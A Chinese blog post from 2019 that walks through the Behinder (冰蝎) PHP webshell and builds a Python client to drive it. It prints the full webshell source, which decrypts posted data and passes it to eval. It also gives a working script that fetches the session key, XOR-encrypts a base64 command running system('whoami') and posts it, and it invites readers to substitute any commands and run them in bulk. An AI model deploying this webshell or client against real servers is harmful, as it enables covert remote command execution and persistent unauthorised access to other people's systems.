用python连接冰蝎的代码实现

  • 2019 年 11 月 7 日
  • 筆記

前言

时代在发展,大家用后门的姿势也在不断的变化,从菜刀,到蚁剑,再到如今的冰蝎,这也是攻防相互作用的结果,今天头发奇想,如何用python来实现流量的加密。然后就研究了一番,写出来了一些蹩脚的代码还望大佬们不要嫌弃。

逻辑分析

以php的代码为例:

先分析一波:

<?php  @error_reporting(0);  session_start();  if (isset($_GET['pass']))  {      $key=substr(md5(uniqid(rand())),16);      $_SESSION['k']=$key;      print $key;  }  else  {      $key=$_SESSION['k'];      $post=file_get_contents("php://input");      if(!extension_loaded('openssl'))      {          $t="base64_"."decode";          $post=$t($post."");            for($i=0;$i<strlen($post);$i++) {                   $post[$i] = $post[$i]^$key[$i+1&15];                  }      }      else      {          $post=openssl_decrypt($post, "AES128", $key);      }      $arr=explode('|',$post);      $func=$arr[0];      $params=$arr[1];      class C{public function __construct($p) {eval($p."");}}      @new C($params);  }  ?>

生成密钥

if (isset($_GET['pass']))  {      $key=substr(md5(uniqid(rand())),16);      $_SESSION['k']=$key;      print $key;  }

以get的形式访问木马,就会得到一个16位的密钥,生成的方式很简单

substr(md5(uniqid(rand())),16);

然后直接返回的在页面上。

解密代码

这里面有两种解密的方式:

如果服务端开启了openssl 直接使用AES128加密方式 密钥已知

如果没有使用openssl直接使用代码和key异或

我们今天先来研究第二种加密的方式,简单的base64解密之后异或

if(!extension_loaded('openssl'))      {          $t="base64_"."decode";          $post=$t($post."");            for($i=0;$i<strlen($post);$i++) {                   $post[$i] = $post[$i]^$key[$i+1&15];                  }      }      else      {          $post=openssl_decrypt($post, "AES128", $key);      }

代码执行

    $arr=explode('|',$post);      $func=$arr[0];      $params=$arr[1];      class C{public function __construct($p) {eval($p."");}}      @new C($params);

这一部分也比较简单

先使用|拆解

然后执行第二部分的代码

以上三个方面就是对冰蝎服务端的分析了,要是想使用python作为简单的服务端的话,按照逆向思维的步骤其实很简单也有三个步骤:

  • 获取密钥
  • 获取代码
  • 加密传输

代码构造

所以按照如上分析的三个步骤一步一步的展开:

获取密钥

直接在页面上就可以获取:类似这样

key = s.get(url).text

获取代码

还是想直接按照冰蝎的数据格式来构造代码毕竟人简单的处理了一下;

$arr=explode('|',$post);  $func=$arr[0];  $params=$arr[1];

于是给冰蝎上了代理,简单的抓了个包,将密钥和密文都抓了下来

使用php写了写解密的代码

解密的代码如下:

<?php      {          $key = 'ef74d2c21f1b391a';          $post = 'B0RHAUAXTlQQUA4bW1ASAFADawBXAF1VAxlFaW5/Dgcfdl88Ay10ZFd/KGcJBAMvVERaPGYQDxZPGFk=';          $t="base64_"."decode";          $post=$t($post."");            for($i=0;$i<strlen($post);$i++) {                   $post[$i] = $post[$i]^$key[$i+1&15]; }                  print $post;      }    ?>

最后得到的结果是

assert|eval(base64_decode('ZWNobyAkX1NFU1NJT05bJ2snXTs='));

也就说,我们也执行的代码的数据格式就是这个样子的,

assert|eval(base64_decode('ZWNobyAkX1NFU1NJT05bJ2snXTs='));

想写什么操作的代码自行体会。

加密传输

首先是加密

原封不动的解密一下就好:

一个数连续两次异或另外一个数还是他自己,类似这样的函数:

def jiami(key,text):      miwen = ''      for i in range(0,len(text)):          miwen = miwen+chr(ord(text[i])^ord(key[((i+1)&15)]))      return base64.b64encode(miwen.encode("utf-8"))

然后是传输

python的无参数post传输还真的是第一回:

类似这样

payload = miwen  req = s.post(host,data = payload)

稍微整理了一下:

import requests  import sys  import os  import re  import base64  host = "http://127.0.0.1/test.php"  pwd = 'pass'  cmd = "assert|eval(base64_decode('ZWNobyBzeXN0ZW0oJ3dob2FtaScpOw=='));"  def jiami(key,text):      miwen = ''      for i in range(0,len(text)):          miwen = miwen+chr(ord(text[i])^ord(key[((i+1)&15)]))      return base64.b64encode(miwen.encode("utf-8"))  s = requests.Session()  url = host+"?"+pwd+"=1"  print(url)  key = s.get(url).text  miwen  = str(jiami(key,cmd))[2:-1]  print(miwen)  payload = miwen  req = s.post(host,data = payload)  print(req.content)

后记

这次只是分析了服务端没有使用openssl的方式,其实思路如法炮制,所以不在分析了,后续继续研究一下其他语言的,大家有什么批量的操作都可以的直接上了,自己的编码的水平不行,在这里只是起一个抛砖引玉的作用,蠢到大家了还望各位看官不要见谅。